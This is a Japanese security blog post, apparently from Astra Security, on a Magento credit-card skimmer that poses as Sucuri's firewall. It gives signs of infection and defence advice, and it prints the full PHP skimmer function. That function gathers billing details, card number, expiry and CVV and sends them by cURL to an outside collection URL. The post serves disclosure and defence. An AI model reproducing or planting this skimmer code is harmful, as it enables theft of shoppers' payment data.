ネットワークセキュリティ
 Computer >> コンピューター >  >> ネットワーキング >> ネットワークセキュリティ

「Sucuri」を装うクレジットカードスキマーがMagentoストアを標的に――顧客のカード情報が盗まれる

新型コロナウイルスのロックダウン(都市封鎖)措置や、世界的なブラックフライデー・サイバーマンデー(BFCM)およびクリスマスセールの到来により、今年もオンラインショッピングは急拡大を続けています。しかしそれと同時に拡大しているのが、デジタルクレジットカードスキミング攻撃です。

先日のTelegramマルウェアキャンペーンに関するレポートに続き、Astra Securityのセキュリティ研究者たちは、セキュリティ企業「Sucuri」になりすまして感染したECストアから顧客の機密情報を窃取する、新たなクレジットカードスキミングマルウェアキャンペーンを確認しました。主にMagentoストアを標的として追跡されていますが、PrestaShop、OpenCart、WooCommerceなど他のCMSでも同様の痕跡が確認されています。

デジタルクレジットカードスキミング攻撃とは?

デジタルクレジットカードスキミング攻撃とは、Webベースで行われるスキミング攻撃の一種です。ハッカーがWebサイトやECストアに悪意のあるJavaScriptコードを注入し、サイト訪問者や顧客の認証情報や決済情報などの機密データを盗み出します。この種のスキマーのコードは、主に決済ページ(チェックアウト画面)の入力フォームに仕掛けられており、ユーザーの入力内容を監視したり、偽の決済フォームを含むiframeを生成したりすることで、顧客のクレジットカード情報を窃取します。

デジタルスキミングはこれまでに数十万規模のWebサイトに被害をもたらしており、ブリティッシュ・エアウェイズ、メイシーズ(Macy's)、Forbes、NewEgg、Ticketmasterといった著名ブランドも標的となっています。

Magento向けクレジットカードスキミングマルウェアの兆候

  1. 自社ストアでクレジットカードを使用した後に、心当たりのない請求が発生したと顧客から苦情が寄せられる。
  2. 決済プロバイダーや銀行から、ストアの決済ゲートウェイのセキュリティに関する警告メールが届く。
  3. 身に覚えのない追加の支払い方法がストアに登録されている。
  4. Sucuriという名称の製品を利用していないのに、Webサイトのコード内に「Sucuri」という文字列が含まれている。

ハッカーはどうやってSucuriファイアウォールを装って店舗を攻撃しているのか

今回のマルウェアキャンペーンの分析において、調査チームは、ハッカーがECサイト(主にMagentoストア)にこのクレジットカードスキミングマルウェアを積極的に仕掛け、チェックアウト時に訪問者や購入者へ機密情報を入力させるよう誘導していることを突き止めました。悪意のあるスキマーコードは、感染サイトの/app/code/core/Mage/Payment/Model/Method/Cc.phpというファイルパスに配置されています。

ここで攻撃者は$this->sucuri_encrypted();という関数を追加しており、これによりチェックアウト処理中にユーザーが入力したデータを外部へ送信(エクスフィルトレート)できるようになっています。窃取されたデータはhttps://www.thebrandstore.gr/js/i.phpへ送られます。

盗まれるデータには、氏名、住所、電話番号、クレジットカード情報など、顧客の機密情報が含まれています。

以下は、攻撃者がこのキャンペーンで使用しているコードサンプルです:

function sucuri_encrypted()
    {
        $info = $this->getInfoInstance();
        $object = new Mage_Checkout_Block_Onepage_Billing;
        $address1 = $object->getQuote()->getBillingAddress();
        $data1 = $address1->getFirstname();
        $data2 = $address1->getLastname();
        $data3 = $address1->getStreet(1);
        $data4 = $address1->getStreet(2);
        $data5 = $address1->getCity();
        $data6 = $address1->getRegion();
        $data7 = $address1->getPostcode();
        $data8 = $address1->getCountry();
        $data9 = $address1->getTelephone();
        $data10 = $info->getCcNumber();
        $expyear = substr($info->getCcExpYear(), -2);
        $expmonth = $info->getCcExpMonth();
        if (strlen($expmonth) == 1) {
           $expmonth = '0'.$expmonth;
        };
        $data11 = $expmonth;
        $data12 = $expyear;
        $data13 = $info->getCcCid();
        $data15 = $_SERVER['SERVER_NAME'];
        $data16 = Mage::getSingleton('checkout/session')->getQuote()->getBillingAddress()->getEmail();
//create array of data to be secured
$sucuri_firewall['firstname'] = base64_encode($data1);
$sucuri_firewall['lastname'] = base64_encode($data2);
$sucuri_firewall['address'] = base64_encode($data3);
$sucuri_firewall['address2'] = base64_encode($data4);
$sucuri_firewall['city'] = base64_encode($data5);
$sucuri_firewall['state'] = base64_encode($data6);
$sucuri_firewall['zip'] = base64_encode($data7);
$sucuri_firewall['country'] = base64_encode($data8);
$sucuri_firewall['phone'] = base64_encode($data9);
$sucuri_firewall['cc'] = base64_encode($data10);
$sucuri_firewall['exp'] = base64_encode($data11);
$sucuri_firewall['expyear'] = base64_encode($data12);
$sucuri_firewall['cvv'] = base64_encode($data13);
$sucuri_firewall['email'] = base64_encode($data16);
$sucuri_firewall['dari'] = base64_encode($data15);
$sucuri_firewall['submit'] = 'Submit';
//traverse array and prepare data for posting (key1=value1)
foreach ( $sucuri_firewall as $key => $value) {
    $post_items[] = $key . '=' . $value;
}
//create the final string to be posted using implode()
$post_string = implode ('&', $post_items);
//create cURL connection
$curl_connection = curl_init('https://www.thebrandstore.gr/js/i.php');
//set options
curl_setopt($curl_connection, CURLOPT_CONNECTTIMEOUT, 30);
curl_setopt($curl_connection, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)");
curl_setopt($curl_connection, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl_connection, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($curl_connection, CURLOPT_FOLLOWLOCATION, 1);
//set data to be posted
curl_setopt($curl_connection, CURLOPT_POSTFIELDS, $post_string);
//perform our request
$result = curl_exec($curl_connection);
curl_close($curl_connection);
}
}
}.

上記コードが示すように、クレジットカード情報窃取ツールは$this->sucuri_encrypted();という関数を追加し、偽装されたSucuriファイアウォールのコードを表示します。

ECストアをこのマルウェアから守るには

このマルウェアに感染したECサイトやストアは、顧客の機密情報が盗まれ、正規の注文や決済が完了しなくなることで、売上だけでなく顧客からの信頼にも大きな打撃を受ける可能性があります。そのため、サイト運営者には、こうしたクレジットカードスキマーやその他のマルウェアキャンペーンからサイトと顧客データを守るため、事前のセキュリティ対策を実施することが強く推奨されます。

Astra Securityのアプリケーションファイアウォール(WAF)を導入していれば、ECストアはこの攻撃をはじめ、SQLインジェクション(SQLi)、XSS、CSRF、LFI、RFI、クレジットカードハッキング、スパム、悪質ボットなどのサイバー攻撃や脆弱性からすでに保護されています。さらに、セキュリティ専門家は長年にわたり、定期的なマルウェアスキャンをWebサイトの安全確保における重要な対策として推奨しています。今こそ適切なセキュリティ対策を講じ、常にサイトを保護状態に保ちましょう。

  1. クレジットカード詐欺とは?主な手口と被害を防ぐための対策を徹底解説

    「クレジットカード情報は安全な保管場所(セキュアヴォールト)に保存し、詐欺師からカードを守りましょう。」 現金や小切手を持ち歩く心配がなくなるキャッシュレス決済は、私たちの生活に大きな利便性をもたらしています。しかし、クレジットカードやデビットカードをオンラインで利用する際のリスクについて、正しく理解している人はごくわずかです。その結果、人口の約4分の1がクレジットカード詐欺の被害に遭っているのが実情です。では、クレジットカード詐欺やなりすまし(ID窃取)から身を守るには、どうすればよいのでしょうか? 「カード決済を使うのをやめるべきか?」——答えは明確にノーです。適切な予防策を講じ、Adva

  2. またしてもデータプライバシー問題──FacebookとTwitterの個人情報漏洩で私たちが学ぶべきこと

    データ侵害のニュースは今や珍しくありませんが、今回の被害を受けたのはFacebookとTwitterのユーザーです。度重なるデータスキャンダルを経験してきたはずなのに、私たちは本当に慎重になれているのでしょうか?それとも、企業側がこうした繰り返される情報漏洩を真剣に受け止めていないのでしょうか? 何が起きたのか──事件の概要 FacebookとTwitterは、ユーザーが特定のサードパーティアプリにアカウントでログインした際、数百人規模のユーザーの個人情報が不適切にアクセスされた可能性があると発表しました。問題のアプリには「Giant Square」や「Photofy」などが含まれます。Fa